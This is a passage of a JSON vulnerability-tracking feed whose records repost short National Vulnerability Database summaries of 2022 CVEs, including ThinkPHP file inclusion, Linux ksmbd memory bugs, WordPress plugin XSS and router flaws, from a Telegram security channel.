"11bed72e-b1e9-45f4-acf6-b184a76dec47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/cibsecurity/55268", "content": "\u203c CVE-2022-47945 \u203c\n\nThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-24T00:14:49.000000Z"}, {"uuid": "d7457731-1b6f-408d-aa3e-b007f009d2d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47946", "type": "seen", "source": "https://t.me/cibsecurity/55267", "content": "\u203c CVE-2022-47946 \u203c\n\nAn issue was discovered in the Linux kernel 5.10.x before 5.10.155. A use-after-free in io_sqpoll_wait_sq in fs/io_uring.c allows an attacker to crash the kernel, resulting in denial of service. finish_wait can be skipped. An attack can occur in some situations by forking a process and then quickly terminating it. NOTE: later kernel versions, such as the 5.15 longterm series, substantially changed the implementation of io_sqpoll_wait_sq.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-24T00:14:48.000000Z"}, {"uuid": "a336144f-ecc1-495c-910f-155fdd27dd93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47928", "type": "seen", "source": "https://t.me/cibsecurity/55223", "content": "\u203c CVE-2022-47928 \u203c\n\nIn MISP before 2.4.167, there is XSS in the template file uploads in app/View/Templates/upload_file.ctp.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T02:14:07.000000Z"}, {"uuid": "8177448c-99e9-47bb-8603-f9c6b51c58ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47938", "type": "seen", "source": "https://t.me/cibsecurity/55258", "content": "\u203c CVE-2022-47938 \u203c\n\nAn issue was discovered in ksmbd in the Linux kernel before 5.19.2. fs/ksmbd/smb2misc.c has an out-of-bounds read and OOPS for SMB2_TREE_CONNNECT.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T18:14:50.000000Z"}, {"uuid": "05c7dcb1-1764-434c-aeaf-39f52d77d256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/cibsecurity/55256", "content": "\u203c CVE-2022-47939 \u203c\n\nAn issue was discovered in ksmbd in the Linux kernel before 5.19.2. fs/ksmbd/smb2pdu.c has a use-after-free and OOPS for SMB2_TREE_DISCONNECT.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T18:14:48.000000Z"}, {"uuid": "59a55633-5ce0-4032-9e45-5d99ea2d2b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47942", "type": "seen", "source": "https://t.me/cibsecurity/55248", "content": "\u203c CVE-2022-47942 \u203c\n\nAn issue was discovered in ksmbd in the Linux kernel before 5.19.2. There is a heap-based buffer overflow in set_ntacl_dacl, related to use of SMB2_QUERY_INFO_HE after a malformed SMB2_SET_INFO_HE command.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T18:14:36.000000Z"}, {"uuid": "aff05ece-cd1d-4fa3-9345-0f8796acb020", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4790", "type": "seen", "source": "https://t.me/cibsecurity/56838", "content": "\u203c CVE-2022-4790 \u203c\n\nThe WP Google My Business Auto Publish WordPress plugin before 3.4 does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:25:07.000000Z"}, {"uuid": "36335876-e581-4f55-a70b-f4a7ecea2156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47770", "type": "seen", "source": "https://t.me/cibsecurity/57238", "content": "\u203c CVE-2022-47770 \u203c\n\nSerenissima Informatica Fast Checkin version v1.0 is vulnerable to Unauthenticated SQL Injection.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T07:13:50.000000Z"}, {"uuid": "cc392cf2-75ab-4b1c-a6cb-383fcb119316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47701", "type": "seen", "source": "https://t.me/cibsecurity/57224", "content": "\u203c CVE-2022-47701 \u203c\n\nCOMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 is vulnerable to Cross Site Scripting (XSS).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-31T20:38:26.000000Z"}, {"uuid": "345bc0c1-d68e-41b0-98e4-d007928e860b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47769", "type": "seen", "source": "https://t.me/cibsecurity/57247", "content": "\u203c CVE-2022-47769 \u203c\n\nAn arbitrary file write vulnerability in Serenissima Informatica Fast Checkin v1.0 allows unauthenticated attackers to upload malicious files in the web root of the application to gain access to the server via the web shell.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T07:14:02.000000Z"}, {"uuid": "074946f7-f0b5-4a14-9170-a133f2af5666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47698", "type": "seen", "source": "https://t.me/cibsecurity/57222", "content": "\u203c CVE-2022-47698 \u203c\n\nCOMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 is vulnerable to Cross Site Scripting (XSS) via the URL filtering feature in the router.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-31T20:38:24.000000Z"}, {"uuid": "9ea6c75c-12ac-4289-9467-6567fb25a1a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47100", "type": "seen", "source": "https://t.me/cibsecurity/57013", "content": "\u203c CVE-2022-47100 \u203c\n\nA vulnerability in Sengled Smart bulb 0x0000024 allows attackers to arbitrarily perform a factory reset on the device via a crafted IEEE 802.15.4 frame.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-27T00:47:08.000000Z"}, {"uuid": "7cf251bc-264d-4daa-8432-b5de8e42769e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47632", "type": "seen", "source": "https://t.me/cibsecurity/57051", "content": "\u203c CVE-2022-47632 \u203c\n\nRazer Synapse before 3.7.0830.081906 allows privilege escalation due to an unsafe installation path, improper privilege management, and improper certificate validation. Attackers can place malicious DLLs into %PROGRAMDATA%\\Razer\\Synapse3\\Service\\bin if they do so before the service is installed and if they deny write access for the SYSTEM user. Although the service will not start if the malicious DLLs are unsigned, it suffices to use self-signed DLLs. The validity of the DLL signatures is not checked. As a result, local Windows users can abuse the Razer driver installer to obtain administrative privileges on Windows.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-27T18:34:37.000000Z"}, {"uuid": "9c6d51a0-10a4-40de-991e-0eb5a8b9776f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47012", "type": "seen", "source": "https://t.me/cibsecurity/56784", "content": "\u203c CVE-2022-47012 \u203c\n\nUse of uninitialized variable in function gen_eth_recv in GNS3 dynamips 0.2.21.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-20T22:28:50.000000Z"}, {"uuid": "e157304e-14e3-472a-9d1b-4d5fb5b15934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47040", "type": "seen", "source": "https://t.me/cibsecurity/56958", "content": "\u203c CVE-2022-47040 \u203c\n\nAn issue in ASKEY router RTF3505VW-N1 BR_SV_g000_R3505VMN1001_s32_7 allows attackers to escalate privileges via running the tcpdump command after placing a crafted file in the /tmp directory and sending crafted packets through port 80.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-27T00:34:11.000000Z"}, {"uuid": "24c84910-2868-4723-a12d-5bd6fbe57574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4753", "type": "seen", "source": "https://t.me/cibsecurity/56836", "content": "\u203c CVE-2022-4753 \u203c\n\nThe Print-O-Matic WordPress plugin before 2.1.8 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:25:05.000000Z"}, {"uuid": "67903e2c-41ac-4fc6-9005-d6c83f372c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47195", "type": "seen", "source": "https://t.me/cibsecurity/56719", "content": "\u203c CVE-2022-47195 \u203c\n\nAn insecure default vulnerability exists in the Post Creation functionality of Ghost Foundation Ghost 5.9.4. Default installations of Ghost allow non-administrator users to inject arbitrary Javascript in posts, which allow privilege escalation to administrator via XSS. To trigger this vulnerability, an attacker can send an HTTP request to inject Javascript in a post to trick an administrator into visiting the post.A stored XSS vulnerability exists in the `facebook` field for a user.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-19T20:22:07.000000Z"}, {"uuid": "9677e7c4-2798-4538-a590-0be8d15b35e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47021", "type": "seen", "source": "https://t.me/cibsecurity/56790", "content": "\u203c CVE-2022-47021 \u203c\n\nA null pointer dereference issue was discovered in functions op_get_data and op_open1 in opusfile.c in xiph opusfile 0.9 thru 0.12 allows attackers to cause denial of service or other unspecified impacts.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-20T22:28:56.000000Z"}, {"uuid": "d4cadc56-f593-48ed-af3c-5572562b6b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47073", "type": "seen", "source": "https://t.me/cibsecurity/56947", "content": "\u203c CVE-2022-47073 \u203c\n\nA cross-site scripting (XSS) vulnerability in the Create Ticket page of Small CRM v3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Subject parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-27T00:34:00.000000Z"}, {"uuid": "629a5083-0c97-4d33-8637-711937fb4d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4715", "type": "seen", "source": "https://t.me/cibsecurity/56855", "content": "\u203c CVE-2022-4715 \u203c\n\nThe Structured Content WordPress plugin before 1.5.1 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:31:13.000000Z"}, {"uuid": "4aa26630-3285-486e-9754-0ed1e4ee3c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4716", "type": "seen", "source": "https://t.me/cibsecurity/56853", "content": "\u203c CVE-2022-4716 \u203c\n\nThe WP Popups WordPress plugin before 2.1.4.8 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:31:11.000000Z"}, {"uuid": "21389de2-6023-45b8-a300-bf4831b1b4fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4758", "type": "seen", "source": "https://t.me/cibsecurity/56844", "content": "\u203c CVE-2022-4758 \u203c\n\nThe 10WebMapBuilder WordPress plugin before 1.0.72 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:25:16.000000Z"}, {"uuid": "b64c2cf0-5293-4025-8287-b255fa93ffef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4760", "type": "seen", "source": "https://t.me/cibsecurity/56841", "content": "\u203c CVE-2022-4760 \u203c\n\nThe OneClick Chat to Order WordPress plugin before 1.0.4.2 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:25:11.000000Z"}, {"uuid": "ca5bc17f-10f9-4e38-b557-bdad6e70f4f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47065", "type": "seen", "source": "https://t.me/cibsecurity/56839", "content": "\u203c CVE-2022-47065 \u203c\n\n** UNSUPPORTED WHEN ASSIGNED ** TrendNet Wireless AC Easy-Upgrader TEW-820AP v1.0R, firmware version 1.01.B01 was discovered to contain a stack overflow via the submit-url parameter at /formNewSchedule. This vulnerability allows attackers to execute arbitrary code via a crafted payload. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-23T18:25:09.000000Z"}, {"uuid": "2d88111e-741f-4105-877a-d8b9e7eb5043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47024", "type": "seen", "source": "https://t.me/cibsecurity/56785", "content": "\u203c CVE-2022-47024 \u203c\n\nA null pointer dereference issue was discovered in function gui_x11_create_blank_mouse in gui_x11.c in vim 8.1.2269 thru 9.0.0339 allows attackers to cause denial of service or other unspecified impacts.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-20T22:28:51.000000Z"}, {"uuid": "36cf6978-4a1e-4a3c-8622-1d3d67b841c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47990", "type": "seen", "source": "https://t.me/cibsecurity/56692", "content": "\u203c CVE-2022-47990 \u203c\n\nIBM AIX 7.1, 7.2, 7.3 and VIOS , 3.1 could allow a non-privileged local user to exploit a vulnerability in X11 to cause a buffer overflow that could result in a denial of service or arbitrary code execution. IBM X-Force ID: 243556.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-18T22:21:21.000000Z"}, {"uuid": "688c39db-4274-48af-adcf-80e8ad55ebbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47409", "type": "seen", "source": "https://t.me/cibsecurity/54561", "content": "\u203c CVE-2022-47409 \u203c\n\nAn issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. Attackers can unsubscribe everyone via a series of modified subscription UIDs in deleteAction operations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-15T00:22:55.000000Z"}, {"uuid": "b3d7888c-22e9-4b58-8b61-2533746e0e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47732", "type": "seen", "source": "https://t.me/cibsecurity/56777", "content": "\u203c CVE-2022-47732 \u203c\n\nIn Yeastar N412 and N824 Configuration Panel 42.x and 45.x, an unauthenticated attacker can create backup file and download it, revealing admin hash, allowing, once cracked, to login inside the Configuration Panel, otherwise, replacing the hash in the archive and restoring it on the device which will change admin password granting access to the device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-20T20:22:55.000000Z"}, {"uuid": "aa282abe-6dac-41c3-9792-4edb7c0da9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47747", "type": "seen", "source": "https://t.me/cibsecurity/56775", "content": "\u203c CVE-2022-47747 \u203c\n\nkraken <= 0.1.4 has an arbitrary file read vulnerability via the component testfs.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-20T20:22:52.000000Z"}, {"uuid": "b45a3857-e7e8-4024-8f18-3776d41195b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47194", "type": "seen", "source": "https://t.me/cibsecurity/56732", "content": "\u203c CVE-2022-47194 \u203c\n\nAn insecure default vulnerability exists in the Post Creation functionality of Ghost Foundation Ghost 5.9.4. Default installations of Ghost allow non-administrator users to inject arbitrary Javascript in posts, which allow privilege escalation to administrator via XSS. To trigger this vulnerability, an attacker can send an HTTP request to inject Javascript in a post to trick an administrator into visiting the post.A stored XSS vulnerability exists in the `twitter` field for a user.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-19T20:22:28.000000Z"}, {"uuid": "ee36642f-d44c-473f-aadd-93be5aa8e389", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47740", "type": "seen", "source": "https://t.me/cibsecurity/56728", "content": "\u203c CVE-2022-47740 \u203c\n\nSeltmann GmbH Content Management System 6 is vulnerable to SQL Injection via /index.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-19T20:22:21.000000Z"}, {"uuid": "31f56c0f-e1c3-47c0-a1cd-b0e8d89b62b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47197", "type": "seen", "source": "https://t.me/cibsecurity/56726", "content": "\u203c CVE-2022-47197 \u203c\n\nAn insecure default vulnerability exists in the Post Creation functionality of Ghost Foundation Ghost 5.9.4. Default installations of Ghost allow non-administrator users to inject arbitrary Javascript in posts, which allow privilege escalation to administrator via XSS. To trigger this vulnerability, an attacker can send an HTTP request to inject Javascript in a post to trick an administrator into visiting the post.A stored XSS vulnerability exists in the `codeinjection_foot` for a post.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-19T20:22:19.000000Z"}, {"uuid": "28f52729-8bbe-4a2b-a7f4-e0ebd6533cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47745", "type": "seen", "source": "https://t.me/cibsecurity/56725", "content": "\u203c CVE-2022-47745 \u203c\n\nZenTao 16.4 to 18.0.beta1 is vulnerable to SQL injection. After logging in with any user, you can complete SQL injection by constructing a special request and sending it to function importNotice.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-19T20:22:18.000000Z"}, {"uuid": "b0a33020-bda0-4531-9d3c-6c8ad469719e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/cibsecurity/56684", "content": "\u203c CVE-2022-47966 \u203c\n\nMultiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-18T20:21:12.000000Z"}, {"uuid": "238002bf-7ff3-474d-8522-87b645790456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47950", "type": "seen", "source": "https://t.me/cibsecurity/56683", "content": "\u203c CVE-2022-47950 \u203c\n\nAn issue was discovered in OpenStack Swift before 2.28.1, 2.29.x before 2.29.2, and 2.30.0. By supplying crafted XML files, an authenticated user may coerce the S3 API into returning arbitrary file contents from the host server, resulting in unauthorized read access to potentially sensitive data. This impacts both s3api deployments (Rocky or later), and swift3 deployments (Queens and earlier, no longer actively developed).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-18T20:21:08.000000Z"}, {"uuid": "9c6d9337-759a-4ebc-b80e-a2b515e4f004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47881", "type": "seen", "source": "https://t.me/cibsecurity/56675", "content": "\u203c CVE-2022-47881 \u203c\n\nFoxit PDF Reader and PDF Editor 11.2.1.53537 and earlier has an Out-of-Bounds Read vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-18T18:21:12.000000Z"}, {"uuid": "5c788034-5fb2-42e4-bb00-e0e76bcc5890", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47974", "type": "seen", "source": "https://t.me/cibsecurity/56068", "content": "\u203c CVE-2022-47974 \u203c\n\nThe Bluetooth AVRCP module has a vulnerability that can lead to DoS attacks.Successful exploitation of this vulnerability may cause the Bluetooth process to restart.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-06T22:25:08.000000Z"}, {"uuid": "ec2048a3-6369-4694-949f-8969bfbaa992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47406", "type": "seen", "source": "https://t.me/cibsecurity/54567", "content": "\u203c CVE-2022-47406 \u203c\n\nAn issue was discovered in the fe_change_pwd (aka Change password for frontend users) extension before 2.0.5, and 3.x before 3.0.3, for TYPO3. The extension fails to revoke existing sessions for the current user when the password has been changed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-15T00:23:01.000000Z"}, {"uuid": "fb1ac9e2-47a3-46c6-b0f7-14d2c9c7fe47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47377", "type": "seen", "source": "https://t.me/cibsecurity/54675", "content": "\u203c CVE-2022-47377 \u203c\n\nPassword recovery vulnerability in SICK SIM2000ST Partnumber 2086502 with firmware version <1.13.4 allows an unprivileged remote attacker to gain access to the userlevel defined as RecoverableUserLevel by invocating the password recovery mechanism method. This leads to an increase in their privileges on the system and thereby affecting the confidentiality integrity and availability of the system. An attacker can expect repeatable success by exploiting the vulnerability. The recommended solution is to update the firmware to a version >= 1.13.4 as soon as possible (available in SICK Support Portal).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-16T18:24:34.000000Z"}, {"uuid": "f2042279-2f2a-4d22-ac85-4228235d3823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47975", "type": "seen", "source": "https://t.me/cibsecurity/56070", "content": "\u203c CVE-2022-47975 \u203c\n\nThe DUBAI module has a double free vulnerability.Successful exploitation of this vulnerability may affect system availability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-06T22:25:13.000000Z"}, {"uuid": "f33d28d9-ea1f-496a-b4e2-b5c4c0abdc6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47408", "type": "seen", "source": "https://t.me/cibsecurity/54566", "content": "\u203c CVE-2022-47408 \u203c\n\nAn issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. There is a CAPTCHA bypass that can lead to subscribing many people.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-15T00:23:00.000000Z"}, {"uuid": "02ba1377-a5d2-4c19-a9a6-09c5c7de9b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47411", "type": "seen", "source": "https://t.me/cibsecurity/54565", "content": "\u203c CVE-2022-47411 \u203c\n\nAn issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. Data about subscribers may be obtained via unsubscribeAction operations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-15T00:22:59.000000Z"}, {"uuid": "9a467374-c757-47b4-a667-ec4b4a15cba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47410", "type": "seen", "source": "https://t.me/cibsecurity/54575", "content": "\u203c CVE-2022-47410 \u203c\n\nAn issue was discovered in the fp_newsletter (aka Newsletter subscriber management) extension before 1.1.1, 1.2.0, 2.x before 2.1.2, 2.2.1 through 2.4.0, and 3.x before 3.2.6 for TYPO3. Data about subscribers may be obtained via createAction operations.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-15T00:23:10.000000Z"}, {"uuid": "8198f390-c9ac-40f0-92d9-5bd2b862513c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47544", "type": "seen", "source": "https://t.me/cibsecurity/56022", "content": "\u203c CVE-2022-47544 \u203c\n\nAn issue was discovered in Siren Investigate before 12.1.7. Script variable whitelisting is insufficiently sandboxed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-06T00:19:27.000000Z"}, {"uuid": 